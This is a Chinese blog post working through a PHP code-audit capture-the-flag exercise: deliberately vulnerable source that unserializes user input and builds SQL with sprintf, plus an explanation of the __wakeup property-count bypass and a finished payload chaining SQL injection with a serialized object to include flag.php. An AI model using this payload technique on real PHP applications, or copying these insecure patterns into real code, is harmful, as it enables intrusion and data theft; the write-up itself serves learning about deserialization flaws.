zoukankan      html  css  js  c++  java
  • 代码审计-------继续加强对反序列化的理解

    根据文章:

    https://mochazz.github.io/2018/09/12/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1Day11%20-%20unserialize%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

    继续做下面的题目

    Test.php

    <?php
    //error_reporting(0);

    include "config.php";

    class HITCON{
        public $method;
        public $args;
        public $conn;
        function __construct($method, $args) {
            $this->method = $method;
            $this->args = $args;
            $this->__conn();
        }

        function __conn() {
            global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
            if (!$this->conn)
                $this->conn = mysqli_connect($db_host, $db_user, $db_pass);
            mysqli_select_db($this->conn,$db_name);
            if ($DEBUG) {
                $sql = "DROP TABLE IF  EXISTS  users";
                $this->__query($sql, $back=false);
                $sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
                password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";

                $this->__query($sql, $back=false);
                $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
                $this->__query($sql, $back=false);
            }
            mysqli_query("SET names utf8");
            mysqli_query("SET sql_mode = 'strict_all_tables'");
        }

        function __query($sql, $back=true) {
            $result = mysqli_query($this->conn,$sql);
            if ($back) {
                return @mysqli_fetch_object($result);
            }
        }
      
        function login() {
            list($username, $password) = func_get_args();
            $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
            $obj = $this->__query($sql);
            if ( $obj != false ) {
                define('IN_FLAG', TRUE);
                $this->loadData($obj->role);
            }
            else {
              $this->__die("sorry!");
            }
        }

        function loadData($data) {
            if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:d:/', $data)) {
                return unserialize($data);
            }
            return [];
        }
      
        function __die($msg) {
            $this->__close();
            header("Content-Type: application/json");
            die( json_encode( array("msg"=> $msg) ) );
        }

        function __close() {
            mysqli_close($this->conn);
        }

        function source() {
             highlight_file(__FILE__);
        }

        function __destruct() {
            $this->__conn();
            if (in_array($this->method, array("login", "source"))) {
                @call_user_func_array(array($this, $this->method), $this->args);
            }
            else {
                $this->__die("What do you do?");
            }
            $this->__close();
        }

        function __wakeup() {
            foreach($this->args as $k => $v) {
                $this->args[$k] = strtolower(trim(mysqli_escape_string($v)));
            }
        }
    }
    class SoFun{
        public $file='index.php';
        function __destruct(){
            if(!empty($this->file)) {
                include $this->file;
            }
        }
        function __wakeup(){
           $this-> file='index.php';
        }
    }
    if(isset($_GET["data"])) {
        @unserialize($_GET["data"]);
    }
    else {
        new HITCON("source", array());
    }

    ?>

     

    Config.php

    <?php
        $db_host = 'localhost';

        $db_name = 'test';
        $db_user = 'root';
        $db_pass = '1234';
       $DEBUG = 'xx';
    ?>

     

    Flag.php

    <?php
    !defined('IN_FLAG') && exit('Access Denied');

    echo "flag{un3eri@liz3_i3_s0_fun}";

    ?>

     

    题目限制:flag.php页面没有权限访问,只有通过test.php页面的

    function login() {
        list($username, $password) = func_get_args();
        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
        $obj = $this->__query($sql);
        if ( $obj != false ) {
            define('IN_FLAG', TRUE);
            $this->loadData($obj->role);
        }
        else {
          $this->__die("sorry!");
        }
    }

    flag.php页面给权限,才可以访问

    <?php
    !defined('IN_FLAG') && exit('Access Denied');
    echo "flag{un3eri@liz3_i3_s0_fun}";

    ?>

     

    然后跟踪程序,看看怎样运行到这里,程序走向,逆着走就是

    include $this->file; ----unserialize($data); ----$this->loadData($obj->role); ----login() ----

    @call_user_func_array(array($this, $this->method), $this->args);

     

    这里要讲一下一个魔术方法,前面我们都很熟悉其他的魔术方法(__get()__destruct()__construct()),这里学一个新的魔术方法  __wakeup()

    这个魔术方法是在代码中如果有unserialize() 函数的时候,就是自动调用

     

    但是这个魔术方法是可以绕过的,如果序列化一个class ,但是它的属性比本来的属性多,那么就不会进去这个函数,当然反序列也会失败,但是还是会执行反序列出来的class (我也不知道是不是反序列失败了,但是我用var_dump()显示出来是false

    举个例子说一下

     

    下面可以看到,class test 里面,只要一个属性$tnienie ,所以大括号前面就是1

    如果这个class里面有__wakeup() , 并且是unserialize()这个函数的,那么就会先执行__wakeup()方法,

    但是,如果我们将那个1修改成其他的数字(比1大,但是同位数),例如改成2,就会不执行__wakeup() ,同样也会不执行__construct() ,直接执行__destruct()

     

    可以看到题目的源码,两个class都有一个__wakeup(),也就是说,如果反序列出来的,无论哪个class,都会执行那个魔术方法

     

    讲到这里,如果前面那篇文章明白的话,基本都可以构造payload了,题目中注入的数据就不解析了,基本的sql注入

     

    下面直接看payload构造

     

    Payload这里要注意一下,这样构造出来的是不能直接用的,还要改一下

     

    修改O:6:"HITCON":2:   O:6:"HITCON":3:

    修改 s:92:"1' or  s:93:"1' or

    修改 a:1:{i:0;O:5  为  a:1:{i:0;O:%2b5

    修改 "SoFun":1:{s:4  "SoFun":2:{s:4

    修改 limit 2,3#";  limit 2,3%23";

    修改完就是这样子

    O:6:"HITCON":3:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:93:"1' or 1=1 union select 1,2,'a:1:{i:0;O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}' limit 2,3%23";s:8:"password";s:3:"abc";}}

    然后执行

     

     

     

  • 相关阅读:
    System.BadImageFormatException: 未能加载文件或程序集""或它的某一个依赖项。试图加载格式不正确的程序。
    Win10中解决SYSTEM权限获取,删Windows old
    Jenkins配置MSBuild编译.net4.6的项目
    TeamViewer11的安全设置
    Jenkins配置的邮件无法发送的问题
    Jenkins 2.x版本修改启动端口号(Windows)
    Jenkins 2.x版本的安装步骤(Windows)
    CruiseControl.NET/CCNET安装包下载
    Jenkins+CCNET的另类部署图
    VisualSVN Server和Subversion的联系
  • 原文地址:https://www.cnblogs.com/nienie/p/9789017.html
Copyright © 2011-2022 走看看